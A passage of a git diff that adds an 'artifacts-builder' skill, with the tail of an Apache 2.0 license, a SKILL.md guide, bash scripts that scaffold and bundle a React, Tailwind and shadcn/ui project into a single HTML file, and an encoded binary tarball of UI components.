USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/artifacts-builder/SKILL.md b/skills/artifacts-builder/SKILL.md new file mode 100644 index 0000000..e8de676 --- /dev/null +++ b/skills/artifacts-builder/SKILL.md @@ -0,0 +1,74 @@ +--- +name: artifacts-builder +description: Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn/ui). Use for complex artifacts requiring state management, routing, or shadcn/ui components - not for simple single-file HTML/JSX artifacts. +license: Complete terms in LICENSE.txt +--- + +# Artifacts Builder + +To build powerful frontend claude.ai artifacts, follow these steps: +1. Initialize the frontend repo using `scripts/init-artifact.sh` +2. Develop your artifact by editing the generated code +3. Bundle all code into a single HTML file using `scripts/bundle-artifact.sh` +4. Display artifact to user +5. (Optional) Test the artifact + +**Stack**: React 18 + TypeScript + Vite + Parcel (bundling) + Tailwind CSS + shadcn/ui + +## Design & Style Guidelines + +VERY IMPORTANT: To avoid what is often referred to as "AI slop", avoid using excessive centered layouts, purple gradients, uniform rounded corners, and Inter font. + +## Quick Start + +### Step 1: Initialize Project + +Run the initialization script to create a new React project: +```bash +bash scripts/init-artifact.sh +cd +``` + +This creates a fully configured project with: +- ✅ React + TypeScript (via Vite) +- ✅ Tailwind CSS 3.4.1 with shadcn/ui theming system +- ✅ Path aliases (`@/`) configured +- ✅ 40+ shadcn/ui components pre-installed +- ✅ All Radix UI dependencies included +- ✅ Parcel configured for bundling (via .parcelrc) +- ✅ Node 18+ compatibility (auto-detects and pins Vite version) + +### Step 2: Develop Your Artifact + +To build the artifact, edit the generated files. See **Common Development Tasks** below for guidance. + +### Step 3: Bundle to Single HTML File + +To bundle the React app into a single HTML artifact: +```bash +bash scripts/bundle-artifact.sh +``` + +This creates `bundle.html` - a self-contained artifact with all JavaScript, CSS, and dependencies inlined. This file can be directly shared in OpenCode conversations as an artifact. + +**Requirements**: Your project must have an `index.html` in the root directory. + +**What the script does**: +- Installs bundling dependencies (parcel, @parcel/config-default, parcel-resolver-tspaths, html-inline) +- Creates `.parcelrc` config with path alias support +- Builds with Parcel (no source maps) +- Inlines all assets into single HTML using html-inline + +### Step 4: Share Artifact with User + +Finally, share the bundled HTML file in conversation with the user so they can view it as an artifact. + +### Step 5: Testing/Visualizing the Artifact (Optional) + +Note: This is a completely optional step. Only perform if necessary or requested. + +To test/visualize the artifact, use available tools (including other Skills or built-in tools like Playwright or Puppeteer). In general, avoid testing the artifact upfront as it adds latency between the request and when the finished artifact can be seen. Test later, after presenting the artifact, if requested or if issues arise. + +## Reference + +- **shadcn/ui components**: https://ui.shadcn.com/docs/components \ No newline at end of file diff --git a/skills/artifacts-builder/scripts/bundle-artifact.sh b/skills/artifacts-builder/scripts/bundle-artifact.sh new file mode 100755 index 0000000..c13d229 --- /dev/null +++ b/skills/artifacts-builder/scripts/bundle-artifact.sh @@ -0,0 +1,54 @@ +#!/bin/bash +set -e + +echo "📦 Bundling React app to single HTML artifact..." + +# Check if we're in a project directory +if [ ! -f "package.json" ]; then + echo "❌ Error: No package.json found. Run this script from your project root." + exit 1 +fi + +# Check if index.html exists +if [ ! -f "index.html" ]; then + echo "❌ Error: No index.html found in project root." + echo " This script requires an index.html entry point." + exit 1 +fi + +# Install bundling dependencies +echo "📦 Installing bundling dependencies..." +pnpm add -D parcel @parcel/config-default parcel-resolver-tspaths html-inline + +# Create Parcel config with tspaths resolver +if [ ! -f ".parcelrc" ]; then + echo "🔧 Creating Parcel configuration with path alias support..." + cat > .parcelrc << 'EOF' +{ + "extends": "@parcel/config-default", + "resolvers": ["parcel-resolver-tspaths", "..."] +} +EOF +fi + +# Clean previous build +echo "🧹 Cleaning previous build..." +rm -rf dist bundle.html + +# Build with Parcel +echo "🔨 Building with Parcel..." +pnpm exec parcel build index.html --dist-dir dist --no-source-maps + +# Inline everything into single HTML +echo "🎯 Inlining all assets into single HTML file..." +pnpm exec html-inline dist/index.html > bundle.html + +# Get file size +FILE_SIZE=$(du -h bundle.html | cut -f1) + +echo "" +echo "✅ Bundle complete!" +echo "📄 Output: bundle.html ($FILE_SIZE)" +echo "" +echo "You can now use this single HTML file as an artifact in Claude conversations." +echo "To test locally: open bundle.html in your browser" \ No newline at end of file diff --git a/skills/artifacts-builder/scripts/init-artifact.sh b/skills/artifacts-builder/scripts/init-artifact.sh new file mode 100755 index 0000000..7d1022d --- /dev/null +++ b/skills/artifacts-builder/scripts/init-artifact.sh @@ -0,0 +1,322 @@ +#!/bin/bash + +# Exit on error +set -e + +# Detect Node version +NODE_VERSION=$(node -v | cut -d'v' -f2 | cut -d'.' -f1) + +echo "🔍 Detected Node.js version: $NODE_VERSION" + +if [ "$NODE_VERSION" -lt 18 ]; then + echo "❌ Error: Node.js 18 or higher is required" + echo " Current version: $(node -v)" + exit 1 +fi + +# Set Vite version based on Node version +if [ "$NODE_VERSION" -ge 20 ]; then + VITE_VERSION="latest" + echo "✅ Using Vite latest (Node 20+)" +else + VITE_VERSION="5.4.11" + echo "✅ Using Vite $VITE_VERSION (Node 18 compatible)" +fi + +# Detect OS and set sed syntax +if [[ "$OSTYPE" == "darwin"* ]]; then + SED_INPLACE="sed -i ''" +else + SED_INPLACE="sed -i" +fi + +# Check if pnpm is installed +if ! command -v pnpm &> /dev/null; then + echo "📦 pnpm not found. Installing pnpm..." + npm install -g pnpm +fi + +# Check if project name is provided +if [ -z "$1" ]; then + echo "❌ Usage: ./create-react-shadcn-complete.sh " + exit 1 +fi + +PROJECT_NAME="$1" +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPONENTS_TARBALL="$SCRIPT_DIR/shadcn-components.tar.gz" + +# Check if components tarball exists +if [ ! -f "$COMPONENTS_TARBALL" ]; then + echo "❌ Error: shadcn-components.tar.gz not found in script directory" + echo " Expected location: $COMPONENTS_TARBALL" + exit 1 +fi + +echo "🚀 Creating new React + Vite project: $PROJECT_NAME" + +# Create new Vite project (always use latest create-vite, pin vite version later) +pnpm create vite "$PROJECT_NAME" --template react-ts + +# Navigate into project directory +cd "$PROJECT_NAME" + +echo "🧹 Cleaning up Vite template..." +$SED_INPLACE '/.*<\/title>/'"$PROJECT_NAME"'<\/title>/' index.html + +echo "📦 Installing base dependencies..." +pnpm install + +# Pin Vite version for Node 18 +if [ "$NODE_VERSION" -lt 20 ]; then + echo "📌 Pinning Vite to $VITE_VERSION for Node 18 compatibility..." + pnpm add -D vite@$VITE_VERSION +fi + +echo "📦 Installing Tailwind CSS and dependencies..." +pnpm install -D tailwindcss@3.4.1 postcss autoprefixer @types/node tailwindcss-animate +pnpm install class-variance-authority clsx tailwind-merge lucide-react next-themes + +echo "⚙️ Creating Tailwind and PostCSS configuration..." +cat > postcss.config.js << 'EOF' +export default { + plugins: { + tailwindcss: {}, + autoprefixer: {}, + }, +} +EOF + +echo "📝 Configuring Tailwind with shadcn theme..." +cat > tailwind.config.js << 'EOF' +/** @type {import('tailwindcss').Config} */ +module.exports = { + darkMode: ["class"], + content: [ + "./index.html", + "./src/**/*.{js,ts,jsx,tsx}", + ], + theme: { + extend: { + colors: { + border: "hsl(var(--border))", + input: "hsl(var(--input))", + ring: "hsl(var(--ring))", + background: "hsl(var(--background))", + foreground: "hsl(var(--foreground))", + primary: { + DEFAULT: "hsl(var(--primary))", + foreground: "hsl(var(--primary-foreground))", + }, + secondary: { + DEFAULT: "hsl(var(--secondary))", + foreground: "hsl(var(--secondary-foreground))", + }, + destructive: { + DEFAULT: "hsl(var(--destructive))", + foreground: "hsl(var(--destructive-foreground))", + }, + muted: { + DEFAULT: "hsl(var(--muted))", + foreground: "hsl(var(--muted-foreground))", + }, + accent: { + DEFAULT: "hsl(var(--accent))", + foreground: "hsl(var(--accent-foreground))", + }, + popover: { + DEFAULT: "hsl(var(--popover))", + foreground: "hsl(var(--popover-foreground))", + }, + card: { + DEFAULT: "hsl(var(--card))", + foreground: "hsl(var(--card-foreground))", + }, + }, + borderRadius: { + lg: "var(--radius)", + md: "calc(var(--radius) - 2px)", + sm: "calc(var(--radius) - 4px)", + }, + keyframes: { + "accordion-down": { + from: { height: "0" }, + to: { height: "var(--radix-accordion-content-height)" }, + }, + "accordion-up": { + from: { height: "var(--radix-accordion-content-height)" }, + to: { height: "0" }, + }, + }, + animation: { + "accordion-down": "accordion-down 0.2s ease-out", + "accordion-up": "accordion-up 0.2s ease-out", + }, + }, + }, + plugins: [require("tailwindcss-animate")], +} +EOF + +# Add Tailwind directives and CSS variables to index.css +echo "🎨 Adding Tailwind directives and CSS variables..." +cat > src/index.css << 'EOF' +@tailwind base; +@tailwind components; +@tailwind utilities; + +@layer base { + :root { + --background: 0 0% 100%; + --foreground: 0 0% 3.9%; + --card: 0 0% 100%; + --card-foreground: 0 0% 3.9%; + --popover: 0 0% 100%; + --popover-foreground: 0 0% 3.9%; + --primary: 0 0% 9%; + --primary-foreground: 0 0% 98%; + --secondary: 0 0% 96.1%; + --secondary-foreground: 0 0% 9%; + --muted: 0 0% 96.1%; + --muted-foreground: 0 0% 45.1%; + --accent: 0 0% 96.1%; + --accent-foreground: 0 0% 9%; + --destructive: 0 84.2% 60.2%; + --destructive-foreground: 0 0% 98%; + --border: 0 0% 89.8%; + --input: 0 0% 89.8%; + --ring: 0 0% 3.9%; + --radius: 0.5rem; + } + + .dark { + --background: 0 0% 3.9%; + --foreground: 0 0% 98%; + --card: 0 0% 3.9%; + --card-foreground: 0 0% 98%; + --popover: 0 0% 3.9%; + --popover-foreground: 0 0% 98%; + --primary: 0 0% 98%; + --primary-foreground: 0 0% 9%; + --secondary: 0 0% 14.9%; + --secondary-foreground: 0 0% 98%; + --muted: 0 0% 14.9%; + --muted-foreground: 0 0% 63.9%; + --accent: 0 0% 14.9%; + --accent-foreground: 0 0% 98%; + --destructive: 0 62.8% 30.6%; + --destructive-foreground: 0 0% 98%; + --border: 0 0% 14.9%; + --input: 0 0% 14.9%; + --ring: 0 0% 83.1%; + } +} + +@layer base { + * { + @apply border-border; + } + body { + @apply bg-background text-foreground; + } +} +EOF + +# Add path aliases to tsconfig.json +echo "🔧 Adding path aliases to tsconfig.json..." +node -e " +const fs = require('fs'); +const config = JSON.parse(fs.readFileSync('tsconfig.json', 'utf8')); +config.compilerOptions = config.compilerOptions || {}; +config.compilerOptions.baseUrl = '.'; +config.compilerOptions.paths = { '@/*': ['./src/*'] }; +fs.writeFileSync('tsconfig.json', JSON.stringify(config, null, 2)); +" + +# Add path aliases to tsconfig.app.json +echo "🔧 Adding path aliases to tsconfig.app.json..." +node -e " +const fs = require('fs'); +const path = 'tsconfig.app.json'; +const content = fs.readFileSync(path, 'utf8'); +// Remove comments manually +const lines = content.split('\n').filter(line => !line.trim().startsWith('//')); +const jsonContent = lines.join('\n'); +const config = JSON.parse(jsonContent.replace(/\/\*[\s\S]*?\*\//g, '').replace(/,(\s*[}\]])/g, '\$1')); +config.compilerOptions = config.compilerOptions || {}; +config.compilerOptions.baseUrl = '.'; +config.compilerOptions.paths = { '@/*': ['./src/*'] }; +fs.writeFileSync(path, JSON.stringify(config, null, 2)); +" + +# Update vite.config.ts +echo "⚙️ Updating Vite configuration..." +cat > vite.config.ts << 'EOF' +import path from "path"; +import react from "@vitejs/plugin-react"; +import { defineConfig } from "vite"; + +export default defineConfig({ + plugins: [react()], + resolve: { + alias: { + "@": path.resolve(__dirname, "./src"), + }, + }, +}); +EOF + +# Install all shadcn/ui dependencies +echo "📦 Installing shadcn/ui dependencies..." +pnpm install @radix-ui/react-accordion @radix-ui/react-aspect-ratio @radix-ui/react-avatar @radix-ui/react-checkbox @radix-ui/react-collapsible @radix-ui/react-context-menu @radix-ui/react-dialog @radix-ui/react-dropdown-menu @radix-ui/react-hover-card @radix-ui/react-label @radix-ui/react-menubar @radix-ui/react-navigation-menu @radix-ui/react-popover @radix-ui/react-progress @radix-ui/react-radio-group @radix-ui/react-scroll-area @radix-ui/react-select @radix-ui/react-separator @radix-ui/react-slider @radix-ui/react-slot @radix-ui/react-switch @radix-ui/react-tabs @radix-ui/react-toast @radix-ui/react-toggle @radix-ui/react-toggle-group @radix-ui/react-tooltip +pnpm install sonner cmdk vaul embla-carousel-react react-day-picker react-resizable-panels date-fns react-hook-form @hookform/resolvers zod + +# Extract shadcn components from tarball +echo "📦 Extracting shadcn/ui components..." +tar -xzf "$COMPONENTS_TARBALL" -C src/ + +# Create components.json for reference +echo "📝 Creating components.json config..." +cat > components.json << 'EOF' +{ + "$schema": "https://ui.shadcn.com/schema.json", + "style": "default", + "rsc": false, + "tsx": true, + "tailwind": { + "config": "tailwind.config.js", + "css": "src/index.css", + "baseColor": "slate", + "cssVariables": true, + "prefix": "" + }, + "aliases": { + "components": "@/components", + "utils": "@/lib/utils", + "ui": "@/components/ui", + "lib": "@/lib", + "hooks": "@/hooks" + } +} +EOF + +echo "✅ Setup complete! You can now use Tailwind CSS and shadcn/ui in your project." +echo "" +echo "📦 Included components (40+ total):" +echo " - accordion, alert, aspect-ratio, avatar, badge, breadcrumb" +echo " - button, calendar, card, carousel, checkbox, collapsible" +echo " - command, context-menu, dialog, drawer, dropdown-menu" +echo " - form, hover-card, input, label, menubar, navigation-menu" +echo " - popover, progress, radio-group, resizable, scroll-area" +echo " - select, separator, sheet, skeleton, slider, sonner" +echo " - switch, table, tabs, textarea, toast, toggle, toggle-group, tooltip" +echo "" +echo "To start developing:" +echo " cd $PROJECT_NAME" +echo " pnpm dev" +echo "" +echo "📚 Import components like:" +echo " import { Button } from '@/components/ui/button'" +echo " import { Card, CardHeader, CardTitle, CardContent } from '@/components/ui/card'" +echo " import { Dialog, DialogContent, DialogTrigger } from '@/components/ui/dialog'" diff --git a/skills/artifacts-builder/scripts/shadcn-components.tar.gz b/skills/artifacts-builder/scripts/shadcn-components.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..cdbe7cdd1e724a7c9840387e17a6a7f26d3477e1 GIT binary patch literal 19967 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 